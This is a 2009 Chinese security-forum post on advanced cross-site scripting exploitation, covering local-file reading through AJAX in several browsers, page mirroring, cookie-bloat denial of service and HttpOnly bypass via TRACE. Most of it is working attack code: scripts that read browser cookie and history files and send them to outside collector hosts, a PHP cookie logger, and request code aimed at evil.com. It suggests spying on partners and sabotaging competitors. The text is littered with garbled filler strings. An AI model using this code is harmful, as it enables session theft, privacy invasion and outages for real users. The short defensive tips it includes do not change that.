XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
3 ]6 Q' T: B( Y本帖最后由 racle 于 2009-5-30 09:19 编辑 2 _1 C5 [5 G2 G, J } V
) t e+ C- _, p) W2 t1 M: S) GXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页- o+ l |, T' [) C6 O% w
By racle@tian6.com 2 A* g. \" e, }) l% p
http://bbs.tian6.com/thread-12711-1-1.html1 J) @4 g1 X+ X0 k" c
转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------' a' j% J9 c1 X2 |
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% k! h) G- Z4 h. A/ n本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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6 @, D5 e5 p. \) R如果你还未具备基础XSS知识,以下几个文章建议拜读:
' g& r: k0 X+ I0 ^+ W7 Hhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
7 U" X5 D* O( o! g! x" Dhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全/ K' I, ] ^/ K
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
8 f+ X5 v6 r7 P3 A) n7 [$ {: L3 ghttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
5 A1 Z4 J; A& w7 z! V% Phttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
0 ?) e2 h- D B' x- ^. z7 o2 ~% }$ [2 yhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少./ E1 P0 ^/ u" E
8 S' R0 O2 x m! Y希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高. g. n5 l9 B2 c
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,8 I% y8 \3 P4 @8 N9 r5 w$ C; R
+ ^! ]. H' J$ z) t) Z1 d9 GBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大: H4 c- ~; r! ^* d
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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/ o5 M; o N9 t" y* DOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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9 ]& F; s# U9 k) n复制代码------------------------------------------介绍-------------------------------------------------------------# l7 M) x4 m& D) V
, w8 j# b8 X6 `; x' I g什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.3 r+ f) f' n2 Y3 \7 y4 e
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
% P( F e- }% \# H复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.6 q/ L$ M" B8 L ~5 S, l
我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?7 g7 w% H/ H. J! G
, T5 a# F @! S4 k; ^1 l2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.! y/ z3 L+ }. g$ |( Y, e2 Y
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
" ?+ p2 O! P. w* T8 {复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫- Z+ G4 z$ p$ R
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
% a; t: {1 _! s& a5 e1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
: {8 _6 o4 Q: e2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.; |0 L8 j, V! o" w3 _
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内." c% L5 t; \ F0 a J
4:Http-only可以采用作为COOKIES保护方式之一.
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, g( q" a1 N0 A* L" T6 S( d- N( F(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)% f& s* m4 |( r( R( x' t) l
j) {5 g$ o: L' U我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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& ]5 N+ l1 \) M. L; f' V8 V 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。9 k/ @8 l! M1 D/ F# y
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& O5 H; L; A; J# B* _' E" O 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。4 x6 v. q; ]( q9 [) {
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, S7 _) X* G. G; V2 S 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.8 }* u* k- A7 v
复制代码IE6使用ajax读取本地文件 <script>6 [5 R, U) {& I. I" ]( N
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function ajax_obj(){
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var request = false;
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);6 f7 L0 [5 c# _' }) G" j
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} catch(e) {}
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return request;% }7 X' ]* Q4 l' C8 g t
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}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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return _x.responseText;
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function ajax_obj(){$ f8 v1 R: R: }1 V
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var request = false;
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request = new XMLHttpRequest();
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. j3 S/ G9 a1 c% S; ?' I: ~3 u } else if(window.ActiveXObject) {" p7 F. C' h7 F# w8 W. R& u8 U
9 A8 e/ J9 t6 ~0 v var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {: R) _: R1 ^' y2 p G
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try {
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}
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return request;8 T6 K. D U7 _; @
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}
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");7 { B: `. F4 C7 C# ~) @
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var txt=_7or3("GET","1/11.txt",null);
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</script>
1 B0 s! H& L( g复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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2 ~% n9 z' j5 B& Q0 jChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/*
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Chrome 1.0.154.53 use ajax read local txt file and upload exp 6 S9 y5 J6 ^0 L0 I
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author voidloafer@gmail.com 2009-4-22 # N" y% c9 M7 X6 a( C" B5 Y
' K! c% [" t; d( }% c7 ^+ P http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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; S! O# M/ S5 ~8 _! Dheader("Content-Disposition: attachment;filename=kxlzx.htm"); 7 T- T- y4 J! F1 Z/ X+ J6 z7 d
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header("Content-type: application/kxlzx");
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' f% v( o# r+ c2 X; i9 @1 p set header, so just download html file,and open it at local.
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*/
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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6 ^ L! W: C, p! U! `' u$ v' _ <input id="input" name="cookie" value="" type="hidden"> : s4 y( L: w) k T! o8 n2 ^
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<script>
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function doMyAjax(user) 3 R3 B3 R# A a% p l$ f
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4 c8 e- { \& U# Y& z# Cvar time = Math.random();
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/* * p" ?& P* ^1 R
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default + q; t! s7 j# p
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on... & F2 e3 O t. H/ Q" X' @
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*/
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; $ Z: i7 b' V4 I g
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) | P/ W* A! i4 ^startRequest(strPer); 4 u' u/ R2 R, E% U' Q3 O0 u/ N7 A
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function Enshellcode(txt)
" E9 P8 M4 ^. C' w- g q. ^; s
6 x; C B& K; O3 G) E6 A{ + ]1 H }- ?8 E" n% e
' Y7 A3 ^* L9 [var url=new String(txt);
0 [* c) c0 l3 g7 Y) w0 ?7 |7 ~, v6 }- S0 q7 _% _! z' ^
var i=0,l=0,k=0,curl="";
5 T! q. [& F% { p1 | s0 A1 U; ^) t: j$ N7 |3 P: B; Q# r
l= url.length; 6 o8 `1 F- ]& d
2 I9 r" x$ H! @ V% a
for(;i<l;i++){
! o7 c' y8 G/ f+ u% L7 S) b r# u; H: g0 D4 w
k=url.charCodeAt(i); . c6 p' f5 w. w: F, f4 r7 A
* E5 z+ ]; S6 ^* R% t- G
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 2 u5 c& T1 e" d# L6 n, }0 C2 V
' R+ G: e% p3 x+ n5 {% L
if (l%2){curl+="00";}else{curl+="0000";} 3 r2 ^* a! O- x% T
0 Y6 M3 K* I4 Ecurl=curl.replace(/(..)(..)/g,"%u$2$1"); u2 B- v$ b2 \% P4 {+ w! V
) q& s3 W ] ~) ]& u
return curl;
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} ! h* k* F/ q+ ?' A' A3 D
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+ p! }( [( e4 `: W2 b
3 r A6 r: {, N: `% |/ ]* z
) V+ L) F7 b+ h+ E4 R" n: @- m- y- u, N7 rvar xmlHttp;
5 z. w7 c7 w8 O9 Z: K, ~
! n% v- l8 }" u# gfunction createXMLHttp(){
. Y& s. r! A8 q) ?9 G1 P; s& D& g& p4 J' B- @! u
if(window.XMLHttpRequest){ * `7 I+ _% ^7 H# t% Q5 [! k6 B1 M y5 _
3 U, Q0 V9 s, W$ Y' O: n2 gxmlHttp = new XMLHttpRequest(); 8 j3 }" Y ^1 I& E
8 W+ U& v5 \0 f' Y3 \" ~ } 6 E$ d' y. r6 w, B
& g$ j3 z0 v4 m- d9 A. k/ G' i/ }
else if(window.ActiveXObject){
3 u# |) T8 v' Z3 e
2 ]5 R* `% ^3 J$ SxmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); $ H' X& o( l% D0 p4 L
6 W4 K6 H# _9 t9 C }
* ^: W, @' e6 a
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function startRequest(doUrl){
- r6 e1 B" c) r+ n5 v. @) \
% J, t9 M3 {4 g4 p$ @ - w6 ?. x: i4 |8 J& [
1 d5 l1 P8 z5 \. B8 W V4 X createXMLHttp();
# @. M! n* e: j) z3 C: F G, W, [ B( O0 J, m
4 ^! O7 @% H3 \- U$ f
+ q& m" S3 k8 h xmlHttp.onreadystatechange = handleStateChange; 1 h! n2 H! o+ d: }' M
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- G4 e, z' y: W+ {8 c
6 Y' v1 K5 V) c: [# h" } xmlHttp.open("GET", doUrl, true);
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7 p# H7 O9 ?7 p
$ h, k5 l& r8 L9 X* S; S: S+ ~& u8 u# }* f3 r
xmlHttp.send(null);
5 N/ D% j2 B( m _/ f: } q: y. K3 d* ^! X( P
$ H8 ^& F g0 J0 ?: E9 v8 {% a. r8 H$ w6 ^- Y* R
) ?, ]7 Z% `8 j3 F/ e; L( [ l @* {- A! @: C9 }4 w; E- S
} & t5 \5 `! @* j8 w
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% F6 w. V) u+ e$ F0 \; U+ Z/ w4 {. \& o+ ^
function handleStateChange(){
/ A& E. C+ [. p8 {, R$ X! M/ h; t* j# Z6 b5 U; [( x
if (xmlHttp.readyState == 4 ){
' @% C4 [4 H- a# ]" [
! c: X4 P9 u0 f3 y* h" X# m var strResponse = ""; 9 |* f0 R3 `: R" R
6 Y5 r. Z7 w; ]) U* O setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
5 n+ R% C4 ]5 C% P2 ~; Q8 q# R9 ~( }7 {+ Z& O! v2 z6 b
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} ! H0 [; R; c! d1 S
# s; {0 D U$ `; x$ j" _- v
}
% l* @! s$ q: {! v! X" B# B" N a
1 F, p' m% j/ K# z# V$ F' I/ H0 m
) \. H2 X: n1 Z# A
5 S4 R: E( C0 B Q ! R1 W4 l4 k2 j B( x/ |% B
# H7 Q1 A; S( K. ^# x' w, c: {' a
function framekxlzxPost(text) Q0 `8 A9 [; z
@2 @* y6 i) F, @0 ?
{ - ~- B* h' V1 A- \
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document.getElementById("input").value = Enshellcode(text); ( X0 A* Q) s ^* O; a
) M( T9 |1 j) }/ T0 d% R3 J- E, S document.getElementById("form").submit(); 0 z3 Z$ W4 v1 N( f( ]8 y; N" o: M
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- I# ]; @0 z/ C7 ^* UdoMyAjax("administrator"); 2 q' A3 c& H0 I( U
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</script>
8 g% y' U2 x% d N: H1 P7 K9 f复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
$ |) y+ }% A9 M5 V5 n8 H0 w, k
" L6 }4 C6 b3 V9 i m1 c) Rvar xmlHttp; # J& Y2 O" ]+ d* c/ Y+ N
# q; z. R" d) H7 U2 z. M( lfunction createXMLHttp(){ ( {9 W9 L* ]1 I8 I
4 ~+ G$ W+ |0 n8 H2 j/ N if(window.XMLHttpRequest){
: o+ C5 Z0 G+ T) m: G" C6 _8 p& f! X5 w" |; l
xmlHttp = new XMLHttpRequest();
+ t; h c, P; O* W/ j; ` i; [) u( Q7 u7 S+ D/ u* b
} - C" P* p8 j3 W. W6 u
; T& i$ W# R I else if(window.ActiveXObject){ ) {; Y' E6 I& N; ` S1 c7 m
9 |! D* q0 W, L2 V/ n7 C! | xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); + N; ?- v# H# u5 [# r* x
! ^' b7 _* k1 r. [/ q
} 2 `( w7 T( ^$ Q7 c- R) h7 e. r
, ?: a9 b* U4 p) H3 N} " G ^/ V, I$ G7 u& N8 J* S
H* A/ S; b) E& j0 ^& W, L
5 ?& y9 p" C( I4 {( p8 J
6 u# G; M+ o x. m
function startRequest(doUrl){
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7 c- d5 p3 x4 G% \6 z, t$ P
8 c6 h# t8 B6 r: b# T$ I! F
createXMLHttp();
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8 j0 s8 w1 G2 J. U0 ^. w. j# ~! l; x2 `. j6 `6 i! ?/ w# e2 R
xmlHttp.onreadystatechange = handleStateChange;
1 K, O# Y% l4 Z! q! O! ]: _
+ L; E0 E; M5 K1 ^
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3 P1 ]5 x _; U# \: L( r- i xmlHttp.open("GET", doUrl, true);
7 `# `- z. D8 \1 t% K1 G% Y3 H$ A) P5 B2 m- [) a
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xmlHttp.send(null);
; Z8 Z) M9 P$ B% ~7 x# v5 L! `- Z1 N0 F8 T
; b- y6 z4 }# X
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m" i1 d# C2 i/ q& [}
; V% u+ U% P! {3 Y& v3 w1 V
' x0 D* L! _1 h9 i) [' M6 L - y- I1 ]6 G5 d! N& O6 K0 u
9 Q2 ~8 [. }5 D9 lfunction handleStateChange(){
* ?4 `% ?) z( w- a- X. L# l
/ S; N7 W$ e2 e, @& W5 e if (xmlHttp.readyState == 4 ){
2 H. E$ R g! \% w6 t! r/ |0 [0 y' S) p* }& L: X3 E
var strResponse = "";
* ?. d+ u! m* G* O& ~" O% J3 z- I* [+ X' X3 l# S( H
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
. {4 x) d1 ^( ]) B- e" k' ]
8 g5 L5 }# V# `/ k. m% n f0 @/ b8 f8 O; E
9 ]! l, H: { x8 H; T } 2 ?6 a9 \; h6 s: C- Z# n$ i9 Y
M6 X& _7 K4 l; f5 ?+ d9 G: @1 p) ^
}
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function doMyAjax(user,file) 4 `% @2 _0 R3 S. [3 y7 Y
& ^' t X6 K8 M( f0 I{
& M* i' o/ a1 ]/ l S" \8 P5 Y( s4 m7 |
var time = Math.random(); " v5 A" n( h$ q- T8 w* E3 ~
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5 K! m. u1 k4 T8 V( @
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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& @9 V6 P' }* a b' i% ~ ) F9 n: A# H; q% \
$ q0 b9 e! x" X$ s; R. R startRequest(strPer); ' X2 G; O) Z# E6 Z( C
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6 B1 j7 D# z5 q2 I, F, ?9 H& C
}
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5 u& H4 a6 [5 _5 p
[& k, m& D4 y8 A, ?) e/ w2 E
& @& n2 ^# P: i8 m9 ^$ @1 S6 l- Efunction framekxlzxPost(text) # h) a/ B) p! f' m2 a
% a( ^! V: P0 M/ B6 f9 Z$ ?8 Q
{ # a2 ^3 b) l" {) a5 S
, I* T' \* E! B; ]
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
8 j) g( ^! C5 x; C5 s* H
2 y' \, s' F$ x# A. ~ alert(/ok/);
" F& B$ X' q8 `: |/ v
6 _$ @2 i- Q b} 9 G. ^5 z9 V: i1 g. q, @, X6 U
+ H6 r9 i; }" \) v) y- Q # ]6 n# T/ h" V
- x) Q, A5 \4 x$ o" i
doMyAjax('administrator','administrator@alibaba[1].txt');
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! Z) s- G% z9 f; G2 A8 |, L* V6 O: B8 i7 _! b: U: l* f5 P( |1 ?
</script>) R# @! a3 r/ v+ }: p9 W
7 @- N( ^& i! x
$ {% Z1 k4 }" n# D- }' w5 H) Y
3 |1 R( ]8 j+ f/ y' F# D% \% `: L" {& F6 z5 F
- w9 @* |4 D) d8 ^
a.php
% q- d% t: G: F1 l4 `
* u5 f& Y6 W+ H! W( Y; w! _, I p2 ?- Z
5 h0 ?' U! N) m+ R0 _) x<?php
( n- B: r) M8 f9 A4 |6 y% H
. y7 D7 ]: F% t5 t8 e ' U. w! ~* r/ A
' S% b( e' O; R+ S; E7 F A& z$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
" K" M! ^% M- @; p9 F P
3 Y `" k1 m0 u( Z9 l, |$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; % k- L8 M9 X' y7 a) r& n" F/ H
) s8 ?2 {; J: [3 {1 _
0 A: H3 Q- U1 {7 y* b6 r0 H
' M/ P$ s: a4 m7 K' s* P6 e, e$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
+ Y, A k( A, @8 [) X) m! O5 c W: G. y
fwrite($fp,$_GET["cookie"]); . U1 U4 b( m2 G' c* t* t" G" l
. T. [/ @. X$ I; Sfclose($fp);
$ |5 i, t. e5 W8 @8 i) W& ?, z+ U! J6 N# E
?> 7 k' C4 Q- @) _
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
$ I# S+ f) N0 m
0 P0 U1 t$ t7 S6 \0 a或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.) Y' Q( }# m: b8 z* M/ ^
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.0 \0 s( e/ V4 ?
' Q# L4 ~2 } \+ E ? M- c5 c/ s' X代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);9 |' q: k. p+ k' m5 }
! q& f% h; i3 [, b) E& ^3 Q//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
9 H- z2 `. G1 N; X' z
. a6 _2 d) T% @* i% P8 o( E//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);& z# n# ]! K- c( c }
1 V. A& Y3 ^. G3 Z' z% _function getURL(s) {) K2 f5 a" p- h D; b2 Z* m, K
. k. G0 s2 E% A" zvar image = new Image();
0 z' v1 w2 Q2 T6 c% D. V% @5 i8 t, |# G% S) l0 D* N
image.style.width = 0;
; ^, A4 ?4 s* G3 P L9 u b6 S2 U' V h5 W% L" O# ?' i
image.style.height = 0;7 v% A) X# P2 a7 I2 L& U5 ^- t
( e) F) v$ e1 u( G3 l3 @( q
image.src = s;. F$ b0 t2 X( y5 d+ p. e. v5 ]2 o) e" K
9 t5 ]4 u2 A$ C6 h/ q/ W}
6 ?2 F* g" x J% H
+ Z1 W ~. \2 n8 p2 LgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
0 b0 V" S" H- B: w q4 r复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
9 A( R) e2 v- h" J. V5 s0 A这里引用大风的一段简单代码:<script language="javascript">
* \% l3 @; i: ~: w" b, G1 X& H5 u5 h, I9 K) d4 p
var metastr = "AAAAAAAAAA"; // 10 A" O( d. m: h3 e4 O( O% S
! s$ P( Y1 g3 e+ s ?var str = "";
! H2 S s! H$ ?( h+ m
6 `5 I; d6 f- U: [7 o# q- Swhile (str.length < 4000){4 J1 x8 E0 {5 O* ?
. {# ~! X+ h, P$ Q+ k4 R) y
str += metastr;
" w: e, D& a. r% ?) \
: L @9 I! x% x1 X$ L0 D I8 H% H}
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" C4 ^3 k1 h# D# Q7 _1 [2 K7 z( H9 k/ D/ `$ }/ w7 o
8 K0 S" a8 @; ]8 Edocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS) s. A j/ r% X/ y( d
! O2 V; i9 x) {' @' x
</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
3 S( ~& \; \" s( C% g) x, u. w复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.2 \/ D: P) d: Z) _' g
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150, w4 |/ w! [# `" y/ K& i# c
& ?8 S& b/ @+ r9 l8 _
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
1 ]* E" s+ @1 N5 y0 X攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:% n) _9 W8 r: F" y/ z4 a: V
/ X" ]. O2 [& t' G什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie./ a, M4 I$ e' k& v" T
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">4 ]3 Y: N0 D( A& B& S8 l- s
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<!--7 P, I$ q5 c3 l
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function normalCookie() {
5 d j7 H! V6 k* A7 W6 h1 ~
4 l* s5 n N# \$ ~) k" Kdocument.cookie = "TheCookieName=CookieValue_httpOnly";
( H7 M9 Y8 m6 M& L/ `
" i/ ~: M2 s+ A2 E+ W! y5 y5 Yalert(document.cookie);
$ a. b) [$ s. d0 B! \5 u* j$ L
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! ] f! ]& B' o
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* g0 n& i' q0 D9 _7 {( p
6 O, E8 Q1 h: W: t8 W
) a& Y# K! ?0 I+ y0 I) Efunction httpOnlyCookie() {
; D1 v- \& w# V' a9 b3 ~: m. T( ] G4 W, Z, t3 w* D
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
# R9 E- {7 z }4 b2 p( W6 ^5 P. h' a* a, }* A: {
alert(document.cookie);}, @4 l3 K* `& e; s
. i: D, W7 n# _% b/ H
E" _4 @; B) |! D) N" M" I) H5 Q+ s
//-->
+ ~& `! G$ m4 V( J* t7 S: ?
: z* f6 r- K# g1 k# y; @4 n* G</script>
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8 J8 Y* z& f( O& |
3 g: v7 {8 |; t& N2 U7 x9 }4 O/ ~7 P* l8 Y
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
' P8 W" s) k/ k/ Q# u2 ^! H6 @, d* X! r! W9 D
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>; I% y( v1 Q( t; S& ^+ j
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>: N) d% M2 T6 a% J9 S
/ O) K1 \( l; t' X7 S7 S9 j0 ]
4 O. P6 z/ v( ~4 j
6 y5 ?1 W% W6 X- H
var request = false;: `- \2 L6 t& U) ?. R
' i; B6 I( u$ V; D6 ^& @
if(window.XMLHttpRequest) {8 \; v) W) T7 c V( ^
) _! `3 j" Z+ g' J4 l4 F* v
request = new XMLHttpRequest();
# \, o6 G/ u: Y- k4 Y5 l5 g; i, w4 Y x
if(request.overrideMimeType) {
2 ^. m, U' v/ F% O I' j. {. `5 |0 r! r# l7 ~* Z
request.overrideMimeType('text/xml');
& }( r7 _$ O+ O2 O M0 [$ l9 G) Z% R: Y2 B9 E' K6 ^8 a, D# U. s
}' ~1 \) ?: {- x) n5 G e
; g( e1 N& ^% k) V: Q6 `9 O
} else if(window.ActiveXObject) {: z) C# {, N) P
Z9 [0 {4 {1 h5 n+ }, X7 P7 H1 h var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- m4 h- E! @5 C% a4 E- F$ A8 e* H8 L* t( f0 I: v F# u
for(var i=0; i<versions.length; i++) {+ [: l( W" _0 z
2 _+ H; `+ b9 }. ] `, g( m try {
; \8 u/ [& g6 ^
) g9 ~1 V: o1 g/ p7 K2 s request = new ActiveXObject(versions);
. h t, O5 s9 a
, `/ ` |% c6 {0 J$ v, f } catch(e) {}
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xmlHttp=request;1 |" U6 f( c; ?% j2 i6 ?/ W
* T2 l; k- \- {/ N' W) ixmlHttp.open("TRACE","http://www.vul.com",false);4 v# k' u* E7 X# z# [( D5 d! X
; i) Q1 b$ {: y# qxmlHttp.send(null);* X) e9 [& K) W9 v Q7 Z& R- i
3 @( L1 d! a9 K0 V! O' u+ n. JxmlDoc=xmlHttp.responseText;- X" u- h- a! ], R
0 i; ?) A/ R+ {+ |6 T: F2 Balert(xmlDoc);+ r% |0 w3 c' E% u H4 \+ f" w) t
7 P/ J4 E2 u' F2 X/ i</script>
+ i `% C4 H4 W% h: w; E9 U) e复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>" h6 I- {- B1 O8 J/ E
& `* ~! Y* M$ W! `" t6 Qvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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5 B& d9 }3 H; O% m' y8 `XmlHttp.open("GET","http://www.google.com",false);$ ]2 ?8 a. O5 u
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");3 r; P! u5 s- b( t" q
3 z/ f; w! G! ^/ f9 L9 AXmlHttp.send(null);
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var resource=xmlHttp.responseText" A* A8 ?& I6 w; g" T1 r
( b* A! A8 ]: q7 g4 X$ presource.search(/cookies/);
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1 L4 w. R2 E0 m, D' d# M& L5 g......................
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</script>4 M, t, J" {! ]$ w2 }& X) B8 K
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5 P/ ]" d7 y# ^ D# i; O如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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[code]
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RewriteEngine On1 T# L N& ?5 |9 H7 S; L
0 c0 |$ ` L' H, u6 cRewriteCond %{REQUEST_METHOD} ^TRACE( F1 e4 T; C4 x/ r! h- c
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RewriteRule .* - [F]
